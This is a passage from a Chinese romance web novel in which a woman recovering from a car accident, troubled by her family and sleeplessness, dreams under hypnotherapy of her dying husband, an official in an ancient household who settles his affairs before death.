于是,她裹了被子去沙发上坐了一夜,直到天亮,才勉强眯了会儿。 她又做梦了,不过依旧混乱无序,也很短。 或许只是些不完整的梦境碎片,又或许是她醒来后忘了太多,总之她只记得,梦里的她,和一个男人无比相爱,难舍难分。 梦里她没有看清男人的脸,但觉得他万分熟悉,她是那么眷恋他的气息与体温,以至于不愿逃离梦境。 醒时已经中午,她艰难睁开眼,只觉眼皮重逾千斤。 又在沙发上靠了会儿,她才去卫生间洗漱。 洗脸时,她盯着镜子里的自己,只觉憔悴非常,消瘦许多,不知是否因刚那些奇怪的梦,她眼尾处还晕出一片淡淡绯红。 她想不明白,自己一个从没谈过恋爱的人,怎么会突然做起这种梦,难道是因为妈妈一直让自己去相亲? 不至于吧,明明完全不在自己审美点上,应该毫无欲望甚至反感才对。 她忍不住对着镜子扯了个自嘲的笑。 所以,梦应该是相反的。 在房子里窝了两天,母亲打来电话叫她过去吃饭。 她简单换了套衣服,画了个淡妆,遮盖了眼底的淤青打车过去。 到楼下时,正好遇见妈妈和她的丈夫以及她同母异父的十二岁妹妹回来。 她朝他们微笑点了下头。 严叔叔皱了皱眉,在女孩背上拍了下:“这么大了还不会喊人?懂不懂礼貌?” “我自己会喊!” 妹妹瞪了眼自己爸爸,才回头喊她姐姐。 母亲有些尴尬,招呼:“来了就快上楼吧,我马上做饭。” 安声没说话,默然跟上去。 尽管她知道严叔叔那话是指桑骂槐,但她自车祸以后,总觉得心力交瘁,疲于维护这些脆弱不堪的社交关系。 进屋后,她沉默地坐在沙发上出神。 严叔叔坐在另一侧单人沙发上点了根烟,闲问她工作的事以及车祸责任认定这些,她有一搭没一搭地回,还算礼貌,说自己找了律师。 他便说那都是坑钱的,你早知道不如找我,我认识一个人也是干法律的,熟人介绍,律师费看着给点就行。 安声觉得无语,只是笑笑,不想与他继续聊下去,便借口帮忙进了厨房。 母亲做好了饭,一家三口加上她,于餐桌旁落座,她虽几天都没吃多少东西,却依然没有胃口。 母亲与严叔叔聊着关于女儿最近考试成绩的事,妹妹不爱听,扒拉两口饭就说吃完了,然后回房“砰”一下将门关起来。 严叔叔不高兴,呵斥她甩脸子给谁看呢。 母亲忙打圆场,说着说着话题便拐到她身上。 她笑说,小声小时候也不太听话,气性还很大,有一次被老师骂了,放学以后直接离家出走了,走又不敢走远,到家附近一座公园里的娱乐设施后面躲着,让人好一番找。 她说:“我跟她爸都急坏了,天黑了才找到她,差点就报警了。你说她胆子小吧,她敢离家出走,你说她胆子大吧,她怕得不敢回家,又怕黑,所以一个人在公园里角落里边哭边背课文。” 安声错愕地抬起头来。 这件事她似乎从谁那里听到过,但自己却不记得,如今听母亲重提,忽然全盘忆起。 那日她被父母找到后,战战兢兢地回了家,回了自己房间,听父母在客厅爆发了一场激烈的争吵,东西摔了一地,吓得她连哭都不敢发出声音。 后来父亲气势汹汹地推开门,将她从椅子上生拽到门边,往她手里塞打火机:“供你吃穿供你读书,你给我一天天的找事!你要不想上学明天就别去!你现在就去把那些书和作业本一把火全点了烧了!快去!” 她吓得不知所措,一直哭着道歉,换来父亲摔门而去。 又过了一会儿,母亲进来,先是哭,然后说她不懂事,不听话,最后跟她说,我跟你爸肯定要离婚的,日子已经过不下去了,你要有个心理准备。 安声当时年幼,心理尚未健全,为此一直责备自己,认为自己是父母离婚的诱因,直到和外婆生活在一起后,才将这事选择性遗忘了。 如今再次记起,她忽然有种溺水的窒息感,不由深吸了几口气缓了缓。 她看向母亲,她已经不再说自己的事了,转去了别的话题,她心不在焉地听着,勉强吃完了这顿饭。 临走时,母亲说送她,门关上,将她拉在楼道里责备:“小声你这么大的人了,怎么连礼貌都不懂了?见到你严叔叔也不打招呼,吃饭的时候也不说话,你要是不想来吃饭可以跟我说,难道我喊你吃饭也喊错了?” 安声沉默。 母亲叹了口气,很是失望:“算了,你也这么大了,这些道理我也不想反复跟你说。不过我是你妈,肯定还是要为你操心的,你现在毕业了工作了,下一步就是等你结婚生子,那我的任务才算完成了。我问你,那个男生说给你发了好多条消息问候你,你怎么一条都不回啊?” 又补充:“这个男孩条件都挺不错的,父母都是老师,家里有两套房,现在工作的地方跟你公司不太远,工资也跟你差不多吧……” 母亲说了许多,安声一个字也没听进去。 她有些神思恍惚,不知从哪句话开始,或许是那句结婚生子?她竟又被扯入那些梦境碎片里。 “……你有没有在听?你到底怎么想的?” 安声回过神,怔怔:“什么?” 见她恹恹,母亲摇头:“算了,你先回去吧,别忘了跟那个男生聊聊,下周末你们一起去吃个饭。” 母亲说罢转身要开门进去,被安声拉住。 她望着母亲,眼眶渐渐蕴起泪。 “妈妈,你还爱我吗?” 母亲一愣:“你这什么话,你……” “妈妈。”安声打断她,微微哽咽,“我觉得……你在妹妹面前,才像一个妈妈,但是对我……” 她涌出泪,说不下去。 母亲沉默半晌,才幽幽叹道:“小声,妈妈那会儿也年轻,像你这么大的时候有了孩子,有些事做不好也很正常,但你现在长大了,不应该老想着以前,外婆不是对你很好吗?” 安声眼底期盼退成暗色,再没什么可说的了。 …… 从多梦乏力容易犯困后,安声开始失眠。 她的睡眠时长开始变短,变得碎片化,只会在极其困倦时勉强打个盹,而噩梦依然频发。 或许不该称之为噩梦。 梦里总是出现同一个男人,在梦里他是她的丈夫,他待她太好太好,好到让她做梦时不舍得醒来,清醒时又不敢入睡。 不过这些梦都是断断续续的,醒来后会遗失大部分细节,无法拼凑完整,唯有发红的眼尾与泪痕,才提醒着她,梦里她的情绪曾十分强烈。 她心慌的频率也变高了,不但没有缓解,反而愈发觉得空落落的,犹如心被挖去一块,偶尔刺痛。 但因她在这次车祸中肋骨断裂过,所以起初归结于正常情况而没有在意。 她独自在出租屋里待了一周都没出门,每天点一次外卖,只能勉强吃上几口,稍微多一些便会因反胃而吐掉。 手机上有很多消息,她一个都没看没回,直到母亲多次打电话催促她去和那位介绍的男生吃饭,她才准备将自己收拾收拾出趟门,当作改变一下心情。 但,这次相亲没能给她带来任何正面的情绪反馈。 她与对方吃了顿饭,看了场电影,电影散场时,对方提出要送她回家,被她拒绝了。 其实吃饭时,她就已经心不在焉了。 吃饭的地方是男生发过来的,选了一家烟熏火燎的老旧面馆,露天坐在外面,说要带她尝尝“地道老手艺”,吃饭时对方又长篇大论地批判着网上一些热门话题,诸如彩礼,生育,婆媳矛盾等,她敷衍的附和却换来对方更起劲的喋喋不休。 之所以还去看电影,是她觉得看电影会比较安静,对方至少不会在她耳边不停说话。 电影放了什么安声没记住,大概是一部爱情文艺片。 她只记得在对方想趁黑牵她手时将一杯奶茶佯装不小心地泼在了他裤子上。 回家以后,她没开灯,在黑暗中蜷缩在沙发里。 微信响了一声,她拿起手机,聊天屏幕映出一张憔悴苍白的容颜。 是相亲的男生发过来的。 他说:“今天非常愉快{笑脸}我觉得你长得很漂亮,就是性格太温柔内向了,不过正好我的性格比较外向,结婚后我可以引领你成长{玫瑰花}{比心}。” 安声忽然一阵反胃,跑去洗手间却又吐不出来。 回到客厅,她拿起手机给对方转了两百块,然后把他删了。 她缩在沙发一角,动也不想动。 没有开灯,但她觉得房间好亮,窗外透进来的路灯,高楼灯带的反光,偶尔驶过楼下的车灯,无一不驱散着黑暗。 但她需要黑暗。 她觉得不对劲,黑夜不该是如此,夜色应当如墨深沉,才能在仰头时望见满天繁星。 她抬起眼,环顾四周,陡然觉得空荡荡的。 分明只有一室一厅的小房子,她却仿佛身在荒原,冷冽寒风凌厉如刀,在她身上劈出道道看不见的伤痕。 没有流血,但是很疼,很疼。 安声抱着自己,缩到毯子底下。 她觉得自己有一种积压了许久的东西,应当要发泄出来,但她却不知是什么,所以闷得浑身难受。 不知多久,她做起了梦,不再是碎片,而是第二个相对完整的梦。 梦里依然是那座宅子,却是一个白天。 门前的雪已化了大半,但寒风呼啸,似能穿肉透骨,冻毙人的魂魄。 虽在梦里,她依然能觉察一些冷意。 她同上次一样,走进那座宅子,那间院子。 这里相比上次似乎冷清许多。 低低的争吵从院中一角传来,她绕去一看,是两个孩子,其中一个便是上次她于梦中所见,趴在床边哭泣的小姑娘,而那个半大的少年与小姑娘眉眼相似,大约是一对兄妹。 走近,压低的争吵声清晰入耳。 女孩满脸泪痕,豆大的眼泪掉个不停。 “……不行。”她摇头说,“哥哥,爹爹一定能好起来的,娘亲也一定会回来的,上次娘亲过了五年回家,这次我们也能等五年。” 少年亦是双眼红肿,声音沙哑:“我们或许能等到娘亲,但是爹爹……不能等到,我师父说……” 他哽住,无法继续,扶着假山缓了片刻,才道:“我师父说,他的针法勉强救得了爹爹一命,却不能让他好起来,因为爹爹万念俱灰,心存死志。” 小姑娘哭得不能自已:“哥哥,我给爹爹读信,读娘亲写的信,一直一直读好不好?你师父那么厉害,胡太医那么厉害……求他们救救爹爹吧……我们不能失去娘亲也失去爹爹啊……” “岁岁……”少年抱住她,再次流泪,颤声道,“师父教我每日给爹爹施针数次才能维系爹爹一口气,可他说爹爹很痛很痛,每次都很痛……我也不知道该怎么办了……” 岁岁上气不接下气,几乎崩溃:“我想娘亲我好想娘亲啊……” 少年抱紧妹妹,咬牙落泪。 安声怔然抬手,摸了摸脸,发觉自己不知何时也已泪落不止。 她想过去抱抱他们,却发现自己似一个影子般透了过去,不曾留下半点痕迹。 她呆呆看着自己的手,有些不知所措。 再回神时,兄妹俩已然离开原地。 她按住胸口,更闷了。 仿佛乌云滚滚,雷声阵阵,即将有一场倾盆大雨,她立于阴云下,将要被苍天倾轧。 她转头看向那间卧房,有一个强烈的念头,她很想很想进去看一眼,于是快步向前。 门关着,她推门而入,转头却发现门依然是关着的。 梦里多是荒诞无常,她并不去想,大步流星靠近床边。 房里苦涩的药味浓郁地浸泡着她,她的目光轻盈又沉重地落下,落在那个昏睡不醒的男子清绝无双的眉眼间。 他病骨支离,冷汗涔涔,似在忍受极大痛苦,苍白得像一尊裂纹遍布的白瓷,堪堪欲碎。 她不由自主地靠近,心蓦地刺痛起来,伴着坠落的眼泪。 她柔声喊:“左时珩。” 唤出这个名字时,安声自己也愣了愣,方想起之前出院时从护士口中听到过。 他是左时珩吗? 可是,左时珩是谁? 眼前这个人,她分明不认识。 她坐在床边注视着他苍白的脸,眼前恍惚掠过一些破碎的梦境残片,梦里她的那个丈夫…… 是他吗? 真是奇怪。 安声摸了摸自己的脸,泪落不绝,心痛难当。 她不明白她为什么会如此伤心。 但她也不欲去想,她很想拥抱他,亲吻他。 于是她俯下身来轻轻吻着他额头,眉心,鼻尖,再到嘴唇。 在这个吻结束时,她见到左时珩纤长的睫颤了颤,缓缓掀开。 她一滴泪滑落下来,砸在他枕边。 第37章 寻求 左时珩虚弱地睁开了眼,眼里一片茫然。 安声垂首望他,便知他看不见自己。 她伸手摩挲他洇红的眼尾,他也感受不到她的抚摸。 她想同他说些什么,却不知从何说起。 这是梦吗? 他们在这个梦里是夫妻吗? 她怎么会在梦里和一个陌生男人结婚生子了呢? 可她—— 她怔怔望着左时珩,泪水仍遏不住地流。 左时珩毫无血色的脸上忽然涌上红潮,遂侧身呕出一大口血,随着这口暗红的血在床沿滴滴答答地淌落下来,竟也好似抽走了他全部力气,他深邃眉眼陷在软枕中,乌发散开,汗湿发梢,一只修长的苍白的手无力地垂在床沿下。 安声被吓到了,圆睁的杏眼通红地蓄满泪。 随即她扑过去,声音在发抖:“左……左时珩?” 她想抱住他,想握住他那只冰凉的手,可她像个投影一样掠了过去,没有造成任何事件。 她蹲下来,贴近他的脸,血腥味压过药味的清苦将她包围,但她却在其中嗅到一缕若有若无的白梅香。 “左时珩……”她额头紧挨着他,去感受他微弱到近乎于无的气息,哽声低问,“你怎么了?……生病了吗?” 无人应答。 她伏在床头忍不住哭泣,而后听到他的声音,比气息还弱。 她抬起头,泪水掉落,将耳朵小心贴近他唇边。 听见他唤:“阿声。”- 安声从这场梦里醒来,梦中的情绪依旧向外延伸着。 天已亮了,她发呆地在沙发上坐了许久。 外面的喧闹声慢慢响了起来,车来车往,人来人往,十分聒噪又十分孤寂。 安声揉搓了下脸,摸到自己湿润的眼尾,顿了顿,去卫生间洗了把脸。 她盯着镜子里的自己看,眼底乌青,皮肤蜡黄,长发凌乱,狼狈得像一个女鬼。 她记得大部分梦里的内容,她在梦里因那个名叫左时珩的男人哭得十分伤心。 她用力按了按胸口,觉得自己应当要像梦里那样大哭一场,狠狠发泄,可她怎么也无法做到,她的情绪仿佛都留在了梦里,而现在的她,是疲倦的,虚脱的,透支且麻木的。 她怀疑自己出了什么问题。 她回到客厅拿起手机搜了搜,结果显示,的确有许多人会在车祸后患上创伤后应激障碍,这会让他们出现心悸、发抖等症状,还会噩梦频发。 虽说她的“噩梦”有些荒诞,但其他症状多少能对得上,如今已对她的生活造成了难以忽视的影响,她不得不想办法解决。 安声作了作深呼吸,挂了精神科的号。 前往医院那天,她已是许久没出门了,犹记得住院时樱花盛放,出院时樱花凋零,如今时节已入五月,按阳历算快要七月了,天完全热起来,一轮骄阳悬空,刺眼得很。 她穿着外套,戴着帽子,口罩,墨镜,将自己遮挡得严严实实,依然觉得被阳光照到的地方有灼烧感。 她确信自己一定是病了。 一位姓孟的医生接待了她,她坐在诊疗室,先回答了许多医生的问题,而后填了张自测表。 期间医生没有再说话,一直在安静观察她。 安声将填完的表递给医生,她看了眼,说:“是轻度焦虑。” 安声坐在软椅上,有些疲累。 “只是轻度焦虑吗?我感觉我现在都躯体化了。” 孟医生笑笑:“不要自己在网上搜了查了就给自己下定论,现在我们来聊聊你的问题吧,根据之前我们的聊天来看,你对这场车祸没有出现应激障碍,至少在我提到相关字眼时,你的反应很平静。” “所以……”她推了推眼镜,“你说你经常做梦,那梦的内容还记得吗?” 安声垂下眼睫,陷入回忆,渐渐出神。 半晌,她轻声开口:“一开始记不得,后来越来越清晰……我总是梦到,一个男人……” “一个男人?是你认识的人吗?” 安声点头,又摇头:“我不知道。” “是不记得还是?” “不……我的确不认识他,但却知道他的名字,在梦里,我和他结婚了,还有两个孩子,我很爱他,他也很爱我……” “你第一次梦见他是什么时候?” “是车祸出院的那天,但是……”安声皱眉,“护士说,我因车祸被送去医院急救的那天,就无意识喊出过他的名字了。” “那在车祸之前,你的人生里出现过这个人吗?包括相似的名字,类似的长相,声音等等,或者在网上,电视剧电影里,包括看一些小说之类的作品后,有没有产生过这种幻想?” 安声认真想了半天,坚定摇头。 “没有。” 医生点头,询问了她的情感经历后,又详细问起她的睡眠情况,给她开了安神类的药物,让她下周再过来一趟。 回到家已是下午三点多。 阳光透窗照了进来,在客厅落了一道矩形光阵。 安声无所事事地坐在沙发上,打开电视,想找个什么节目看一看,但面无表情地翻来翻去,最后还是百无聊赖地关上了。 她想起医生的话,便将躺椅拖去阳台,晒起了太阳。 好刺眼。 安声抬起手背搁在额上,透过指缝望着蓝天。 身上渐渐热起来,她觉得自己像一条湿哒哒的发霉的海带,瘫在阳台上,正慢慢被阳光蒸去水分。 于是她转身进屋,从卧室里拿了抱枕出来,再重新躺回到椅子上。 抱枕很软,是只半人高的大鹅,她喜欢抱着它身体时,枕在它脖弯里。 她从小到大就喜欢在睡觉时抱着什么,以前是枕头,后来是玩偶,若是没有,那入睡就要费一番劲,网上说,这是缺乏安全感的表现。 安声从未深究过自己是否缺乏安全感,但她的确喜欢这么做,这会令她安心且舒适。 但自出院后,大鹅已被她冷落许久。 因为她发现抱着大鹅还是睡不着,无论怎么抱都别扭,总觉得……手感不对。 楼上邻居在阳台种了吊兰,叶子垂下,随风轻摇,影子便落在她的阳台窗上,仿佛水墨写意的竹。 她抱着大鹅,安安静静地望着晃动的影,渐起睡意,在半梦半醒间,蓦地升起既视感,那影子仿佛真的化成了竹,她身在一片竹林中,清风拂过,碎金摇曳,而她抱着什么,做了一场好梦。 …… 大约母亲从父亲那里听说了她辞职的事,所以打来电话质问她,又问她新工作找的怎么样。 她已没了辩驳或解释的心思,直言自己如今正在精神科接受治疗,想好好休息一段时间。 一听“精神科”三个字,母亲吓了一跳,差点以为她疯了,听罢她解释后才松了口气,又不以为然地说,别整那些浪费钱的事,现在的年轻人就是心理太脆弱太敏感了,整天说自己压力大,但是谁压力不大?我们那个年代累死累活还没你们现在挣得多,你就是一个人容易想七想八的,最好赶紧去面试工作,人一忙起来,就没空抑郁了。 安声叹了口气。 原本她是想就此跟母亲倾诉一番的,如今看来已没了必要。 母亲紧接着又问起她相亲的事,她更是索然无味,甚至想到那日的经历还有些反胃。 最后母亲在撂下电话前,恨铁不成钢地说:“你不结婚,老了怎么办?” 安声勉强耐着性子:“妈妈,我没说不结婚,但结婚不是随便找个人就行,至少要遇见一个合适的……” 母亲打断她:“什么叫合适?有车有房工作稳定怎么就不合适了?你还要什么?要皇帝啊还是大官啊?” 她说:“皇帝三宫六院,还是要大官吧。” 母亲“啪”一下挂了她的电话。 安声愣了愣,扯了个笑。 大官…… 在梦里,她还真嫁给了一个大官,过得还很不错。 — 安声第二次来到心理诊疗室。 孟医生坐在办公桌的电脑后看了她一眼:“你先坐,最近吃了药睡眠怎么样?有没有改善?” 安声坐在那张软椅上,点了点头:“好一点,但还是做梦。” “还是梦到那个叫左时珩的男人?” “嗯。” 医生想了想,问她:“你对他是什么感觉?害怕?还是梦里的依恋?” 安声垂眸,心绪复杂,缄默许久,才坦诚道:“是心疼。” 医生愣了下,起身走过来,在她肩上按了按:“别那么紧绷,放松一些,你可以在这张椅子上躺下来。” 安声深吸口气,照做。 医生问:“你这一周吃了药每天能睡多久?” 安声想了想:“大概三四个小时。” 医生颔首,在她旁边坐下:“听说过催眠吗?” “是电影里那种让人说真话的魔法吗?” “对,能让你把银行卡密码都告诉我的魔法。”医生笑道,“开个玩笑。治疗性催眠是一种在深度放松和高度专注状态下进行的心理治疗,可以帮助患者探索内心深处的创伤,恢复关键记忆,在开始前我们需要约定一个安全词,开始后你会全程保持清醒,准备好了吗?” 安声紧张地点了点头。 “好。”医生语调平和,舒缓,宛如一股温暖的涓涓细流,“现在,将你的注意力集中在脚上……慢慢地吸气……” 安声缓缓闭上眼,躺在那张舒服的沙发椅上,一切传入耳中的声音渐渐远去,她的身体似乎变得轻盈,却又不停下坠,下坠,最后跌入云端。 等她再度睁开眼时,她再次看见了那座熟悉的府邸。 天阴,无风,寒意袭人,似有一场大雪即将来临。 她在门前驻足良久,仰头望着灰蒙蒙的苍穹,又环顾四周,忽有些茫茫然不知所谓。 “阿声。”她听见有人喊她。 她转过头,左时珩从门内向她走来,一身月白交领锦袍,裹着厚厚的大氅,神色温和,眼底含笑。 “怎么不进去?” 安声眨了眨眼,才冉起怪异感:“左时珩,你能看见我吗?” “我当然能看见你。”他笑了笑,牵住她手,“和我回家吧。” 安声看向他,高大挺拔却清瘦苍白,那只握住自己的手,已感受不到常人的体温—— 作者有话说:明天加更 第38章 痛彻 左时珩牵着她,步履从容,穿过一道道庭院。 安声看见很多下人向他行礼,他皆点头回应,路过时,她听见下人们激动地双手合十,说感谢菩萨显灵,大人都能下得来床了,看样子是要大好了。 进入内院,少见人影,周遭变得安静起来。 严寒冬日,天冷阴沉,不知是否因前些日才下了大雪,致青竹摧折,草木委顿,偌大的园子,竟呈现出一片天暮枯败之景。 他们进了风芜院,走进了书房。 书房中摆了两个炭盆,将房中烘得很热,还能闻到些残存的草药清苦。 左时珩依然没有脱去大氅,也没有松开她,而是握着她的手,坐在那张黄花梨书案之后。 他对安声轻笑道:“我要研墨写字,阿声就在这里陪我,好吗?” 安声点头:“好。” 他这才轻轻松开她,挽袖执了墨条。 可书房中这样热,安声都已有体感,左时珩的手依然毫无暖色。 无人说话,十分安静,只有细细的研磨声持续响起。 安声站在一旁凝视着左时珩的侧脸,实在是特别英俊好看,但似乎缺乏了点生气,让她想到入院中时,见到的那丛墙下将折的竹。 一场雪,怎会就将竹压断了呢。 研墨,铺纸,提笔。 安声视线落下去:“你在写信吗?” “嗯。” “给谁写的?” “给好多人写。” 左时珩顿笔朝她笑了笑,才又继续,写完一封便放置一旁晾干。 安声赞道:“你的字极好极好。” “你喜欢吗?” “很喜欢,但我写字不怎么样。” 左时珩莞尔:“我知道,是四岁小孩的水平。” 安声捂脸羞赧,遂反应过来:“你见过我的字?” “当然。”他笑着,将那封晾好的信纸折好放入信封,用火漆封存盖印,而后抬头望她,“阿声,我们是夫妻啊。” 安声怔愣,随即恍然。 原来他们真是夫妻啊,还以为只是混乱无序的梦呢。 那左时珩就是她的丈夫了?……怪不得上次见他病重吐血,她哭得那样心痛。 不过,现在也是梦吧?一个更清晰的梦。 她转头看向别处,透过书房那扇隔窗,望见一株很高的玉兰,不过此时早已凋零,在寒风中瑟瑟。 腰肢一软,她被左时珩揽入怀中,坐于他膝上。 “看来阿声又不记得了。”他轻蹭着她的脸,低低叹道,“果然,我们不能分开太久。” 安声记不太清那些梦境碎片中他们完整的过去,但还记得爱他的感觉。 “左时珩……” 他的怀抱不再温热,沁着一股经久不散的清苦药味。 离得这样近,她忍不住抚摸他消瘦面庞,红了眼问:“你是不是……病的很严重?上次我看见你吐血了。” “上次?”他有些诧异,眸中透出微微的光彩,然后拥紧了她,无比眷恋地抵在她发间,叹息,“原来……你一直在我身边。怪我,应当早些看见你的。” 他轻拍她背,柔声哄道:“不要怕,我没有生病,这只是一个必然的结果罢了。” 安声有些不明白他的话,但她预感到,有一件她不能接受的事正在不可逆转地发生。 书房门被轻轻敲响。 左时珩松开了她,低咳两声清了清嗓子:“进来。” 门被小心推开,朦胧天光下,站着个半大的少年。 是安声之前在梦里见过的孩子,但她现在知道,在这个梦里,他是她的孩子。 他叫左序。 阿序走进来,进入安声清晰的视野中,他看起来比她上次所见要更加瘦削,双眼是红肿的,布满了红血丝。 “爹爹。”他低低喊,尚未走近,泪先一步掉落。 左时珩拾起一封写好的信给他,拍了拍他的肩,笑道:“去书院时,代爹爹转交给刘山长吧。” “爹爹……”阿序颤声,用力攥住那封信,泪淌得愈多。 左时珩只是笑笑:“是不是到了施针的时候了?你先去房里,爹爹等会儿就过来。” 少年哭声压抑在喉腔中,一言不发地点了点头。 安声目送他走了出去,问道:“别人是不是看不见我?” 左时珩轻颔首。 安声不解:“那为什么你能看见?” 左时珩没有解释,只是温声笑:“这没什么不好。” 而后扶着桌沿起身:“阿序要替我施针,你在这里等我一会儿好不好?” 安声握住他的手,摇头:“不要。” 左时珩无奈地笑了声,继而也握紧了她的手:“好,那一起吧。” 从书房到卧房,要经一段短短连廊,越过连廊能望见庭中景,安声左右环顾,只见到了枯败的山水,心有戚戚。 左时珩说:“不要紧,待开春,花还会开起来的。” 安声注视着他的双眼,他脸色苍白,衬得双眼愈发深邃幽沉,眼中盛满倦色,不过向她落下的目光依然是温柔的,携着和煦笑意。 她轻点头。 阿序已在房中等着了,床头的柜子上摊开了一卷针,长短各异,粗细不一。 卧房的药味比书房还要浓烈一些,不过比安声上次来散去许多。 墙角也摆着两个炭盆,阿序只穿着薄薄单衣,已热得流汗,而左时珩的手从始至终没有暖过。 门关上,左时珩坐到床边,脱去大氅与外衣,又脱去中衣,露出上半身,那一副优越宽大的骨架已透过苍白肌肤显露轮廓,脖颈,肩背,腹部,手臂,处处可见淤青瘢痕,那是一个个针孔留下的,触目惊心。 左时珩的目光轻柔掠过安声,停在阿序身上,微微一笑。 “爹爹准备好了,来吧。” 阿序的泪再次流出来。 常人扎针后,针孔几不可见,即便略有淤血,也会很快消失,可爹爹已心脉碎裂,气血枯竭,无力回天了。 他低下头,取了针,寻到穴位迟迟不敢开始,只站在爹爹面前抽泣起来。 左时珩摸摸他的头,语气温和:“无妨,即便没有用,当作练手也好,何况……” 他笑了下:“我从前不知阿序于医道上竟是天才,随师父学医不过一年,就能独自施针了,不论医术高低,这份心性是极难得的,爹爹很是欣慰。” “来吧。”他鼓励道。 阿序忍住泪,用袖子擦了擦眼,然后将手中银针缓缓刺入父亲的膻中穴。 左时珩微微蹙眉,冷汗从额上渗出,不过神情尚算淡然。 安声忍不住走近了些。 她看见第二针刺入巨阙穴,那是心脏下方的位置,针头深深没入肌肤,长长一根细针,只余下短短针尾。 左时珩已阖起了眼,双手握拳放在膝上,极力忍耐痛楚。 待位于内关穴的第三针刺入,他已不受控地战栗起来,汗水沿脖颈滚落,滴在锁骨上,脸色更是煞白,隐隐透着青。 阿序转过身,紧咬着唇,去取小捆艾草于火上点燃,慢慢灸着下针的位置。 当艾草的味道弥漫时,左时珩的痛楚几乎达到顶点。 他深吸着气,又缓缓吐出,纤长的眼睫上挂起细小雾珠,眼尾漫出成片的红。 他浸在这般极大的痛苦中时,蓦然被人轻轻抱住,温热的体温与气息洒在颈侧。 “左时珩。”安声在他耳畔呢喃,带着隐隐哭腔,“怎么会这样呢……我能做些什么……才能救你……” 左时珩没力气说话,只是侧首贴着她,贪恋着她的味道,眉间痛楚稍减。 能救他的,此时此刻就在他的身边,这正是他所求的,哪怕只有一眼,他已是十分满足。 约半个时辰,阿序行针完毕。 左时珩深吸一口气,缓缓掀开眼,纵然浑身冷汗如雨,也不忘笑着对儿子点头:“比之前更好了。” 阿序沉默地收拾着银针,蓦然转身站在父亲面前,双眼通红,抬声喊道:“爹爹不会好了!爹爹……爹爹分明知道……” 他全身发颤,泣不成声。 岁岁从门外冲了进来,大大的眼睛早已哭得通红,她大约一直守在门外,不过没有出声,此刻冲进来本是为了反驳哥哥,却同哥哥一样在爹爹面前停住脚步,咬了咬唇,泪珠断了线般,说不出一个字。 左时珩已掩了衣襟,重新披上大氅,气色看来比施针前要略足些。 仿佛方才承受的痛楚不曾存在,他仍旧从容而温和,步下床榻,俯身将兄妹二人齐齐揽入怀中。 此时岁岁与阿序才趴在他肩上大哭出来,哭了许久,将他的衣裳都哭湿了。 待他们情绪稍好些,左时珩才轻声道:“爹爹很自私,对不住岁岁和阿序。” 他摸着孩子的头,满眼歉疚与怜惜。 “爹爹没有岁岁和阿序眼中那般厉害,本该对朝廷尽忠,对你们尽责,但爹爹一个人……做不到这些。” 岁岁哭道:“爹爹,娘亲还会回来的……爹爹……” 左时珩望着安声,眼里透着柔和的笑:“或许会的,但爹爹之前已经等了太久,大约是等不到了……岁岁和阿序还小,但比爹爹更坚强,更厉害,也更聪明,是吗?” 阿序摇头:“不是,不是。” 左时珩叹了口气:“娘亲很爱你们,也很思念你们,将来某一日,娘亲大约还会回到你们身边的,只要你们好好长大。” 哄了许久,左时珩牵着两个孩子回到书房,又耐心详细地交代了他们许多事,也给了岁岁一封信,让她交给永国公府的老夫人。 随后,他又将穆诗唤进来,让她给成国公府与刑部尚书府上分别送去书信。 穆诗还不知用意,只见大人神色平和,还以为是好些了,高兴地应声不迭,得了吩咐便走。 穆诗离开后,左时珩才叫了穆山与李氏,以实情相告,李妈妈当即哀哭不已,跪地叩头,穆山也红了眼,跟着跪下。 左时珩将夫妻俩扶起,笑道:“人固有一死,不必如此,二位在府上十载,我已将你们视作家人一般了。” 他嘱咐二人,如何料理他的后事,最后道:“我已向皇上陈情,直至阿序弱冠之年,暂不会收回这座宅子,你们亦可安心住下。不过,岁岁与阿序年幼,将来多望兄嫂照看。” 左时珩神色端肃,朝二人拱手正式行了一礼,立被扶住。 穆山哽咽着,无比郑重道:“大人哪里的话,我们一家若非大人与夫人所救,早已不知投胎多少回了,大人与夫人又待我们这般好,恩情是几世都报不完的,将来除非少爷小姐赶我们走,否则我们夫妻两个会伺候他们一辈子。” 最后见到左时珩的是工部左侍郎张为是张大人。 这些日子,左时珩在病中拒见了所有人,张为是接到请帖时,正在忙碌,但毫不犹豫地动身赶来左府。 见到左时珩的第一眼,张大人足足愣了有一刻钟,俄而双目渐渐泛红,一声叹息溢出喉咙,深深作了一揖,久不愿起身。 “张大人,这是我这些年系职工部时的一些心得。”左时珩摇头笑,抬手扶他,递上两本书,“我已向圣上举荐你为尚书,大约年后吏部就会有任命。” “左大人……” “张大人,万担系于你肩,任重而道远啊。” …… 书房再度归于寂静时,窗外已黑了下来,两旁炭火幽幽燃着微弱的光。 左时珩强撑着最后一点力气点起烛火,转身之际,安声再忍不住,猛扑入他怀中,紧紧抱着他。 他垂眸,心疼又爱怜地抚摸着妻子柔软的发。 “哭成这样……” 安声在他怀中饮泣不止。 直到此刻,她哪里还不明白,左时珩的性命已行至尽头,他并非自戕,但不存生志,神亦无用。 他交代好了后事,逐一安排了所有人的未来,然后平静的,甚至是高兴地,迎接着自己的死亡。 她想,难道左时珩之所以能看见她,是因为他正处于濒死之际吗? 可这里,分明是她的梦,梦醒后又会如何? ……他会就此死去吗? 下一个梦里,他还会在吗? 还是说,这里根本不是梦境,而是另一个真正存在的时空? 左时珩正渐渐散去的生机与意识,在时空混沌交叠中,接到了她,触到了她,那又要在这具冰凉的躯体彻底枯朽后,前往何方呢…… 她蓦然发觉,她与左时珩身处两个不同的世界,仿佛两条交叉的线,只在那一点上相遇了,而后便是渐行渐远。 她不要这样,不要这样! 她愈发紧紧环着左时珩的腰,生怕一松手他便会消失一般。那些曾经无法拼凑完整的碎片慢慢浮现,在脑海中竟清晰起来。 在这一刻她倏忽想起,第一次见他不在梦里,而是在安和九年三月的云水山中。 他等了她五年,终于等到了她。 她爱他,爱他入骨。 纵然她不曾有过那些前尘,可她还未对他说过,遇见他的第一面,她就对他一见钟情了。 他那么好,那么那么好,她想与他一辈子的,不,一辈子都不够,她贪心地想要生生世世。 怎么能……怎么能到此为止呢—— “左时珩……左时珩……” 安声在诊疗室的沙发椅上被医生唤醒。 她闭着眼,十分抗拒地流着泪,反复呢喃这个她深爱的名字,不愿醒来。 医生拍拍她肩,温柔问:“安声,那只是梦,现在已经结束了,告诉我,这次你梦见了什么,好吗?” 安声缓慢睁开眼,双目失焦,从梦中醒来,她似乎被一种庞大而空茫的悲伤笼罩了,连呼吸都十分费力。 孟医生又耐心问:“还是梦见了……左时珩,是吗?梦里,他怎么了?你们是发生了什么事吗? 